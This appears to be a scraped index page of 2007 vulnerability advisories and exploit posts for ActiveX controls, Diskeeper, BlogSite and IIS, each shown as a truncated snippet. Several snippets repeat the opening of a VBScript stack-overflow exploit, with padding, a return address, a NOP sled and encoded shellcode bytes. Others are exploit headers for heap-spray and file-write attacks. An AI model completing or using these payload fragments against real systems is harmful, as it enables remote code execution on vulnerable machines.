CVE-2007-4375

The CVE-2007-4375 entry concerns the administrative interface (DkService.exe) in Diskeeper 9 Professional, 2007 Pro Premier, and likely other versions. A memory comparison function is exposed via RPC over TCP, enabling remote attackers to (1) read process memory contents (e.g., obtain module base...

msvisual-overflow.txt

jojo = String380,"A" getEIP = unescape"%EB%AA%D7%77" GM = String92,"A" nop = unescape"%90%90%90%90%90%90%90%90%90%90" shellcode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" &...

Microsoft Visual 6 (VDT70.DLL NotSafe) Stack Overflow Exploit

No description provided by source. !--============================================================================ Microsoft Visual 6 VDT70.DLL Stack Overflow Exploit DeltahackingSecurityTEAM Bug discovered by D7J...

Microsoft Visual 6 - VDT70.dll NotSafe Remote Stack Overflow

Microsoft Visual 6 - VDT70.dll NotSafe Remote Stack Overflow jojo = String380,"A" getEIP = unescape"%EB%AA%D7%77" GM = String92,"A" nop = unescape"%90%90%90%90%90%90%90%90%90%90" shellcode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" &...

Microsoft Visual 6 - 'VDT70.dll NotSafe' Remote Stack Overflow

jojo = String380,"A" getEIP = unescape"%EB%AA%D7%77" GM = String92,"A" nop = unescape"%90%90%90%90%90%90%90%90%90%90" shellcode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36" &...

CHILKAT ASP String (CkString.dll <= 1.1) SaveToFile() Inscure Method

Exploit for unknown platform in category remote exploits ==================================================================== CHILKAT ASP String CkString.dll ----------------------------------------------------------------------------- CHILKAT ASP String CkString.dll url:...

CVE-2007-3979

SQL injection vulnerability in index.php in BlogSite Professional aka Blog System 1.x allows remote attackers to execute arbitrary SQL commands via the newsid parameter...

Sql injection

SQL injection vulnerability in index.php in BlogSite Professional aka Blog System 1.x allows remote attackers to execute arbitrary SQL commands via the newsid parameter...

Path traversal

Absolute path traversal vulnerability in the Data Dynamics DDActiveReports2.ActiveReport.2 ActiveReports ActiveX control in arpro2.dll in ActiveReports 2.0 Professional Edition 2.5.0.1308 SP5 RC allows remote attackers to create or overwrite arbitrary files via a full pathname in an argument to t...

CVE-2007-3979

CVE-2007-3979 affects BlogSite Professional (aka Blog System) 1.x. The vulnerability is a SQL injection in index.php via the news_id parameter , allowing remote attackers to execute arbitrary SQL commands. This is a straightforward input-injection flaw in the web application layer that leads to p...

CVE-2007-3979

SQL injection vulnerability in index.php in BlogSite Professional aka Blog System 1.x allows remote attackers to execute arbitrary SQL commands via the newsid parameter...

Clever Internet ActiveX Suite 6.2 - Arbitrary File DownloadOverwrite

Clever Internet ActiveX Suite 6.2 - Arbitrary File DownloadOverwrite ------------------------------------------------------------------------------------------------- Clever Internet ActiveX Suite 6.2 CLINETSUITEX6.OCX Arbitrary file download/overwrite Exploit url:...

Zenturi NixonMyPrograms Class (sasatl.dll v. 1.5.0.531) Remote BoF

Exploit for unknown platform in category remote exploits ================================================================== Zenturi NixonMyPrograms Class sasatl.dll v. 1.5.0.531 Remote BoF ==================================================================...

Zenturi NixonMyPrograms Class 'sasatl.dll 1.5.0.531' - Remote Buffer Overflow

----------------------------------------------------------------------------- Zenturi NixonMyPrograms Class sasatl.dll v. 1.5.0.531 "Scan" Method Remote Buffer Overflow Exploit Heap Spray Technique url: http://www.programchecker.com/activeintro.aspx author: shinnai mail: shinnaiatautisticidotorg...

ddaa-insecure.txt

--------------------------------------------------------------------------------------- Data Dynamics ActiveBar ActiveX Control actbar3.ocx url: http://www.datadynamics.com/default.aspx author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org This was written for...

Microsoft Security Bulletin MS07-041 - Important Vulnerability in Microsoft Internet Information Services Could Allow Remote Code Execution &#40;939373&#41;

Microsoft Security Bulletin MS07-041 - Important Vulnerability in Microsoft Internet Information Services Could Allow Remote Code Execution 939373 Published: July 10, 2007 Version: 1.0 General Information Executive Summary This important security update resolves a privately reported vulnerability...

Chilkat Zip ActiveX Component 12.4 Multiple Insecure Methods Exploit

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"------------------------------------------------------------------------------ bChilkat Software Chilkat Zip ActiveX Component ChilkatZip2.dll v. 12.4.2.0...

HP Digital Imaging hpqvwocx.dll 2.1.0.556 - SaveToFile() File Write

HP Digital Imaging hpqvwocx.dll 2.1.0.556 - SaveToFile File Write ------------------------------------------------------------------------------- HP Digital Imaging hpqvwocx.dll v. 2.1.0.556 "SaveToFile" Insecure Method url: http://www.hp.com/ author: shinnai mail: shinnaiatautisticidotorg site:...

HP Instant Support (Driver Check) Remote Buffer Overflow Exploit PoC

Exploit for unknown platform in category dos / poc ==================================================================== HP Instant Support Driver Check Remote Buffer Overflow Exploit PoC ====================================================================...

hpinstat-overflow.txt

---------------------------------------------------------------------------------- HP Instant Support - Driver Check Remote Buffer Overflow Exploit author: Carlo Di Dato aka shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org Tested on Windows XP Professional SP2 full patch...